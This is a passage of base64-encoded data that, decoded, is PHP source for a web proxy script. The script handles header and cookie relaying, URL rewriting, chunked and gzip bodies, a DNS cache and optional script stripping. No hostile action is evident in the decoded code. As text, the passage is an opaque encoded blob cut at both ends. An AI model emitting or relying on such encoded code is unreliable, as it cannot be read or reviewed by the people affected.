I9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQkJJGJ1ZnNpemUtPXN0cmxlbigkY2h1bmspOw0KCQkJfQ0KCQkJZnJlYWQoJGZwLDIpOw0KCQl9DQoJfQ0KDQoJLy8gQ29udGVudC1MZW5ndGggc3R1ZmYgLSBjb21tZW50ZWQgZm9yIGV2ZW4gbW9yZSBjaG9jb2xhdGV5IGdvb2RuZXNzDQoJLyplbHNlaWYoJGhlYWRlcnNbJ2NvbnRlbnQtbGVuZ3RoJ11bMF0hPW51bGwpew0KCQkkY29ubGVuPSRoZWFkZXJzWydjb250ZW50LWxlbmd0aCddWzBdOw0KCQkkYm9keT1udWxsOw0KCQlmb3IoJGk9MDskaTwkY29ubGVuOyRpKz0kcmVhZCl7DQoJCQkkcmVhZD0oJGNvbmxlbi0kaTw4MTkyPyRjb25sZW4tJGk6ODE5Mik7DQoJCQkkYnl0ZT1mcmVhZCgkZnAsJHJlYWQpOw0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gJGJ5dGU7DQoJCQllbHNlICRib2R5Lj0kYnl0ZTsNCgkJfQ0KCX0qLw0KDQoJZWxzZXsNCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fZ2V0X2NvbnRlbnRzJykpew0KCQkJaWYoJGp1c3RvdXRwdXRub3cpIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkZnApOw0KCQkJZWxzZSAkYm9keT1zdHJlYW1fZ2V0X2NvbnRlbnRzKCRmcCk7DQoJCX0NCgkJZWxzZXsNCgkJCSRib2R5PW51bGw7DQoJCQl3aGlsZSh0cnVlKXsNCgkJCQkkY2h1bms9ZnJlYWQoJGZwLDgxOTIpOw0KCQkJCWlmKGVtcHR5KCRjaHVuaykpIGJyZWFrOw0KCQkJCWlmKCRqdXN0b3V0cHV0bm93KSBlY2hvICRjaHVuazsNCgkJCQllbHNlICRib2R5Lj0kY2h1bms7DQoJCQl9DQoJCX0NCgl9DQoNCglmY2xvc2UoJGZwKTsNCglyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCWlmKEdaSVBfUFJPWFlfU0VSVkVSICYmICRoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ11bMF09PSdnemlwJykgJGJvZHk9Z3ppbmZsYXRlKHN1YnN0cigkYm9keSwxMCkpOw0KCWlmKCRqdXN0b3V0cHV0KXsNCgkJaWYoISRqdXN0b3V0cHV0bm93KSBlY2hvICRib2R5Ow0KCQlmaW5pc2goKTsNCgl9DQoJcmV0dXJuIGFycmF5KCRib2R5LCR1cmwsJGNvb2tfcHJlZml4KTsNCg0KfQ0KDQojIH19fQ0KDQojIH19fQ0KDQojIFBST1hZIEVYRUNVVElPTiB7e3sNCg0KIyBQUk9YWSBFWEVDVVRJT046IFVTRVIgQ09PS0lFUyB7e3sNCg0KZ2xvYmFsICRwcm94eV92YXJpYWJsZXM7DQokcHJveHlfdmFyaWFibGVzPWFycmF5KENPT0tfUFJFRixDT09LX1BSRUYuJ19waXAnLENPT0tfUFJFRi4nX3Bwb3J0JyxDT09LX1BSRUYuJ191c2VyYWdlbnQnLENPT0tfUFJFRi4nX3VzZXJhZ2VudHRleHQnLENPT0tfUFJFRi4nX3VybF9mb3JtJyxDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyxDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsQ09PS19QUkVGLidfZW5jcnlwdF91cmxzJyxDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyk7DQoNCmlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3NldF92YWx1ZXMnXSl7DQoJJHByb3h5X3ZhcmJsYWNrbGlzdD1hcnJheShDT09LX1BSRUYpOw0KCWlmKCRwb3N0YW5kZ2V0W0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nMScpew0KCQl1bnNldCgkcG9zdGFuZGdldFtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOw0KCQlkb3NldGNvb2tpZShDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0JyxmYWxzZSwwKTsNCgl9DQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaW5fYXJyYXkoJHZhbCwkcHJveHlfdmFyYmxhY2tsaXN0KSl7DQoJCQlkb3NldGNvb2tpZSgkdmFsLGZhbHNlLDApOw0KCQkJaWYoaXNzZXQoJHBvc3RhbmRnZXRbJHZhbF0pICYmICFlbXB0eSgkcG9zdGFuZGdldFskdmFsXSkpIGRvc2V0Y29va2llKCR2YWwsJHBvc3RhbmRnZXRbJHZhbF0pOw0KCQl9DQoJfQ0KCSR0aGV1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybChPUklHX1VSTCksUEFHRVRZUEVfRlJBTUVfVE9QKTsNCgkjJHRoZXVybD1zdXJyb2dhZnlfdXJsKChFTkNSWVBUX1VSTFM/cHJveGRlYygkdGhldXJsKTokdGhldXJsKSxudWxsKTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JHRoZXVybH0iKTsNCglmaW5pc2goKTsNCn0NCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBST1hZIEdFVC9QT1NUL0NPT0tJRVMge3t7DQoNCmRlZmluZSgnUElQJywoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ106REVGQVVMVF9UVU5ORUxfUElQKSk7DQpkZWZpbmUoJ1BQT1JUJyxpbnR2YWwoRk9SQ0VfREVGQVVMVF9UVU5ORUw/JF9DT09LSUVbQ09PS19QUkVGLidfcHBvcnQnXTpERUZBVUxUX1RVTk5FTF9QUE9SVCkpOw0KDQpkZWZpbmUoJ0VOQ1JZUFRfQ09PS1MnLGdldGhhcmRhdHRyKCdlbmNyeXB0X2Nvb2tzJykpOw0KDQpnbG9iYWwgJHJlZmVyZXI7DQppZigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ109PW51bGwpew0KCSRyZWZ1cmxvYmo9bmV3IGF1cmwoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsNCgkkcmVmZXJlcj1wcm94ZGVjKHByZWdfcmVwbGFjZSgnL15bXHNcU10qJy5DT09LX1BSRUYuJz0oW14mXSopW1xzXFNdKiQvaScsJ1wxJywkcmVmdXJsb2JqLT5nZXRfcGF0aCgpKSk7ICMqDQp9DQplbHNlICRyZWZlcmVyPW51bGw7DQoNCiMkZ2V0a2V5cz1hcnJheV9rZXlzKCRfR0VUKTsNCiNmb3JlYWNoKCRnZXRrZXlzIGFzICRnZXR2YXIpeyBpZighaW5fYXJyYXkoJGdldHZhciwkcHJveHlfdmFyaWFibGVzKSl7ICRjdXJyX3VybC49KHN0cnBvcygkY3Vycl91cmwsJz8nKT09PWZhbHNlPyc/JzonJicpLiIkZ2V0dmFyPSIudXJsZW5jb2RlKCRfR0VUWyRnZXR2YXJdKTsgfSB9DQoNCmdsb2JhbCAkcG9zdF92YXJzOw0KJHBvc3RfdmFycz1udWxsOw0KJHBvc3RrZXlzPWFycmF5X2tleXMoJF9QT1NUKTsNCmZvcmVhY2goJHBvc3RrZXlzIGFzICRwb3N0a2V5KXsNCglpZighaW5fYXJyYXkoJHBvc3RrZXksJHByb3h5X3ZhcmlhYmxlcykpew0KCQlpZighaXNfYXJyYXkoJF9QT1NUWyRwb3N0a2V5XSkpDQoJCQkkcG9zdF92YXJzLj0oJHBvc3RfdmFycyE9bnVsbD8nJic6bnVsbCkuaHR0cGNsZWFuKCRwb3N0a2V5KS4nPScuaHR0cGNsZWFuKCRfUE9TVFskcG9zdGtleV0pOw0KCQllbHNlew0KCQkJZm9yZWFjaCgkX1BPU1RbJHBvc3RrZXldIGFzICRwb3N0dmFsKQ0KCQkJCSRwb3N0X3ZhcnMuPSgkcG9zdF92YXJzIT1udWxsPycmJzpudWxsKS5odHRwY2xlYW4oJHBvc3RrZXkpLiclNUIlNUQ9Jy5odHRwY2xlYW4oJHBvc3R2YWwpOw0KCQl9DQoJfQ0KfQ0KdW5zZXQoJHBvc3RrZXlzKTsNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IEROUyBDQUNIRSB7e3sNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ10pKSAkZG5zX2NhY2hlX2FycmF5PWFycmF5KCk7DQplbHNlICRkbnNfY2FjaGVfYXJyYXk9JF9TRVNTSU9OWydETlNfQ0FDSEVfQVJSQVknXTsNCg0KIyBwdXJnZSBvbGQgcmVjb3JkcyBmcm9tIEROUyBjYWNoZQ0Kd2hpbGUobGlzdCgka2V5LCRlbnRyeSk9ZWFjaCgkZG5zX2NhY2hlX2FycmF5KSl7DQoJaWYoJGVudHJ5Wyd0aW1lJ108dGltZSgpLShETlNfQ0FDSEVfRVhQSVJFKjYwKSkgdW5zZXQoJGRuc19jYWNoZV9hcnJheVska2V5XSk7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRVhFQ1VUSU9OOiBQQUdFIFJFVFJJRVZBTCB7e3sNCg0KJHBhZ2VzdHVmZj1nZXRwYWdlKCRjdXJyX3VybCk7DQokYm9keT0kcGFnZXN0dWZmWzBdOw0KDQokdGJvZHk9dHJpbSgkYm9keSk7DQppZigoJHRib2R5ezB9PT0nIicgJiYgc3Vic3RyKCR0Ym9keSwtMSk9PSciJykgfHwgKCR0Ym9keXswfT09J1wnJyAmJiBzdWJzdHIoJHRib2R5LC0xKT09J1wnJykpew0KCWVjaG8gJGJvZHk7DQoJZmluaXNoKCk7DQp9DQp1bnNldCgkdGJvZHkpOw0KDQokY3Vycl91cmw9JHBhZ2VzdHVmZlsxXTsNCmRlZmluZSgnUEFHRUNPT0tfUFJFRklYJywkcGFnZXN0dWZmWzJdKTsNCnVuc2V0KCRwYWdlc3R1ZmYpOw0KZGVmaW5lKCdDT05URU5UX1RZUEUnLHByZWdfcmVwbGFjZSgnL14oW2EtejAtOVwtXC9dKykuKiQvaScsJ1wxJywkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0pKTsgIyoNCg0KIyB9fX0NCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORyB7e3sNCg0KaWYoc3RycG9zKCRib2R5LCc8YmFzZScpKXsNCgkkYmFzZT1wcmVnX3JlcGxhY2UoJy9eLionLkJBU0VfUkVHRVhQLicuKiQvaXMnLCdcMScsJGJvZHkpOw0KCWlmKCFlbXB0eSgkYmFzZSkgJiYgJGJhc2UhPSRib2R5ICYmICFlbXB0eSgkYmFzZXsxMDB9KSl7DQoJCSRib2R5PXByZWdfcmVwbGFjZSgnLycuQkFTRV9SRUdFWFAuJy9pJyxudWxsLCRib2R5KTsNCg0KCQkvL3ByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2knLCRiYXNlKT4wDQoJCWlmKCgkYmFzZXswfT09JyInICYmIHN1YnN0cigkYmFzZSwtMSk9PSciJykgfHwgKCRiYXNlezB9PT0nXCcnICYmIHN1YnN0cigkYmFzZSwtMSk9PSdcJycpKQ0KCQkJJGJhc2U9c3Vic3RyKCRiYXNlLDEsc3RybGVuKCRiYXNlKS0yKTsgIyoNCgkJJGN1cnJfdXJsPSRiYXNlOw0KCX0NCgl1bnNldCgkYmFzZSk7DQp9DQoNCmdsb2JhbCAkY3Vycl91cmxvYmo7DQokY3Vycl91cmxvYmo9bmV3IGF1cmwoJGN1cnJfdXJsKTsNCg0KIyBQUk9YWSBFWEVDVVRJT046IFBBR0UgUEFSU0lORzogUEFSU0lORyBGVU5DVElPTlMge3t7DQoNCmZ1bmN0aW9uIHBhcnNlX2h0bWwoJHJlZ2V4cCwkcGFydG9wYXJzZSwkaHRtbCwkYWRkcHJveHksJGZyYW1pZnkpew0KCWdsb2JhbCAkY3Vycl91cmxvYmo7DQoJJG5ld2h0bWw9bnVsbDsNCgl3aGlsZShwcmVnX21hdGNoKCRyZWdleHAsJGh0bWwsJG1hdGNoYXJyLFBSRUdfT0ZGU0VUX0NBUFRVUkUpKXsNCgkJJG51cmw9c3Vycm9nYWZ5X3VybCgkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdLCRjdXJyX3VybG9iaiwkYWRkcHJveHkpOw0KCQlpZigkZnJhbWlmeSkgJG51cmw9ZnJhbWlmeV91cmwoJG51cmwsJGZyYW1pZnkpOw0KCQkkYmVnaW49JG1hdGNoYXJyWyRwYXJ0b3BhcnNlXVsxXTsNCgkJJGVuZD0kbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzFdK3N0cmxlbigkbWF0Y2hhcnJbJHBhcnRvcGFyc2VdWzBdKTsNCgkJJG5ld2h0bWwuPXN1YnN0cl9yZXBsYWNlKCRodG1sLCRudXJsLCRiZWdpbik7DQoJCSRodG1sPXN1YnN0cigkaHRtbCwkZW5kLHN0cmxlbigkaHRtbCktJGVuZCk7DQoJfQ0KCSRuZXdodG1sLj0kaHRtbDsNCglyZXR1cm4gJG5ld2h0bWw7DQp9DQoNCmZ1bmN0aW9uIHJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCR0aGV2YXIpew0KCSMkcmVnZXhwX2FycmF5WzJdLj0nUyc7ICMgaW4gYmVuY2htYXJrcywgdGhpcyAnb3B0aW1pemF0aW9uJyBhcHBlYXJlZCB0byBub3QgZG8gYW55dGhpbmcgYXQgYWxsLCBvciBwb3NzaWJseSBldmVuIHNsb3cgdGhpbmdzIGRvd24NCglpZigkcmVnZXhwX2FycmF5WzBdPT0xKSAkbmV3dmFyPXByZWdfcmVwbGFjZSgkcmVnZXhwX2FycmF5WzJdLCRyZWdleHBfYXJyYXlbM10sJHRoZXZhcik7DQoJZWxzZWlmKCRyZWdleHBfYXJyYXlbMF09PTIpew0KCQkkYWRkcHJveHk9KGlzc2V0KCRyZWdleHBfYXJyYXlbNF0pPyRyZWdleHBfYXJyYXlbNF06dHJ1ZSk7DQoJCSRmcmFtaWZ5PShpc3NldCgkcmVnZXhwX2FycmF5WzVdKT8kcmVnZXhwX2FycmF5WzVdOmZhbHNlKTsNCgkJJG5ld3Zhcj1wYXJzZV9odG1sKCRyZWdleHBfYXJyYXlbMl0sJHJlZ2V4cF9hcnJheVszXSwkdGhldmFyLCRhZGRwcm94eSwkZnJhbWlmeSk7DQoJfQ0KCXJldHVybiAkbmV3dmFyOw0KfQ0KDQpmdW5jdGlvbiBwYXJzZV9hbGxfaHRtbCgkaHRtbCl7DQoJZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQoJaWYoQ09OVEVOVF9UWVBFIT0ndGV4dC9odG1sJyl7DQoJCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCQlpZigka2V5PT1DT05URU5UX1RZUEUpew0KCQkJCWZvcmVhY2goJGFyciBhcyAkcmVnYXJyKXsNCgkJCQkJaWYoJHJlZ2Fycj09bnVsbCkgY29udGludWU7DQoJCQkJCSRodG1sPXJlZ3VsYXJfZXhwcmVzcygkcmVnYXJyLCRodG1sKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRodG1sOw0KCX0NCg0KCSNpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpICRzcGxpdGFycj1hcnJheSgkaHRtbCk7DQoJJHNwbGl0YXJyPXByZWdfc3BsaXQoJy8oPCEtLSg/IVxbaWYpLio/LS0+fDxzdHlsZS4qPzxcL3N0eWxlPnw8c2NyaXB0Lio/PFwvc2NyaXB0PikvaXMnLCRodG1sLC0xLFBSRUdfU1BMSVRfREVMSU1fQ0FQVFVSRSk7DQoJdW5zZXQoJGh0bWwpOw0KDQoJLy9kZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsJyggb25bYS16XXszLDIwfT0oPzoiKD86W14iXSspInxcJyg/OlteXCddKylcJ3xbXiJcJyA+XVteID5dK1teIlwnID5dKSknKTsNCgkkZmlyc3RydW49dHJ1ZTsNCgkkZmlyc3Rqc3J1bj10cnVlOw0KCWZvcihyZXNldCgkcmVnZXhwX2FycmF5cyk7bGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpOyl7DQoJCWlmKCRrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCg0KCQkvLyBPUFRJT04xOiB1c2UgT05MWSBpZiBubyBKYXZhc2NyaXB0IFJFR0VYUFMgYWZmZWN0IEhUTUwgc2VjdGlvbnMNCgkJLy8gYW5kIGFsbCBIVE1MIG1vZGlmeWluZyBKYXZhc2NyaXB0IFJFR0VYUFMgYXJlIHBlcmZvcm1lZCBhZnRlciBIVE1MIHJlZ2V4cHMNCgkJLy8gVGhpcyBnaXZlcyBhIHByZXR0eSBzaWduaWZpY2FudCBzcGVlZCBib29zdA0KCQkvLyBJZiB1c2VkLCBtYWtlIHN1cmUgIk9QVElPTjIiIGxpbmVzIGFyZSBjb21tZW50ZWQsIGFuZCBvdGhlciAiT1BUSU9OMSIgbGluZXMgQVJFTidUDQoJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgYnJlYWs7DQoJCQkkc3BsaXRhcnIyPWFycmF5KCk7DQoJCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCQkkc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvJy5SRUdFWFBfU0NSSVBUX09ORVZFTlQuJy9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJfQ0KCQl9DQoJCS8vIEVORCBPUFRJT04xDQoNCgkJIyBmaXJzdHJ1biByZW1vdmUgc2NyaXB0czogb248ZXZlbnQ+cyBhbmQgbm9zY3JpcHQgdGFnczsgYWxzbyByZW1vdmUgb2JqZWN0cw0KCQlpZigkZmlyc3RydW4gJiYgKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSB8fCAhZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpKXsNCgkJCWZvcigkaT0wOyRpPGNvdW50KCRzcGxpdGFycik7JGkrPTIpew0KCQkJCWlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkNCgkJCQkJJHNwbGl0YXJyWyRpXT1wcmVnX3JlcGxhY2UoJy8oPzonLlJFR0VYUF9TQ1JJUFRfT05FVkVOVC4nfDwuP25vc2NyaXB0PikvaXMnLG51bGwsJHNwbGl0YXJyWyRpXSk7DQoJCQkJaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKQ0KCQkJCQkkc3BsaXRhcnJbJGldPXByZWdfcmVwbGFjZSgnLzwoZW1iZWR8b2JqZWN0KS4qPzxcL1wxPi9pcycsbnVsbCwkc3BsaXRhcnJbJGldKTsNCgkJCX0NCgkJfQ0KDQoJCWZvcmVhY2goJGFyciBhcyAkcmVnZXhwX2FycmF5KXsNCgkJCWlmKCRyZWdleHBfYXJyYXk9PW51bGwpIGNvbnRpbnVlOw0KCQkJZm9yKCRpPTA7JGk8Y291bnQoJHNwbGl0YXJyKTskaSsrKXsNCg0KCQkJCSMgcGFyc2Ugc2NyaXB0cyBmb3Igb248ZXZlbnQ+cw0KCQkJCWlmKCRpJTI9PTAgJiYgaXNzZXQoJHNwbGl0YXJyMikgJiYgJHJlZ2V4cF9hcnJheVsxXT09Mil7IC8vIE9QVElPTjENCg0KCQkJCS8vIE9QVElPTjINCgkJCQkvL2lmKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgJGklMj09MCl7IC8vIE9QVElPTjINCgkJCQkJLy8kc3BsaXRhcnIyWyRpXT1wcmVnX3NwbGl0KCcvKCBvblthLXpdezMsMjB9PSg/OiIoPzpbXiJdKykifFwnKD86W15cJ10rKVwnfFteIlwnID5dW14gPl0rW14iXCcgPl0pKS9pcycsJHNwbGl0YXJyWyRpXSwtMSxQUkVHX1NQTElUX0RFTElNX0NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2U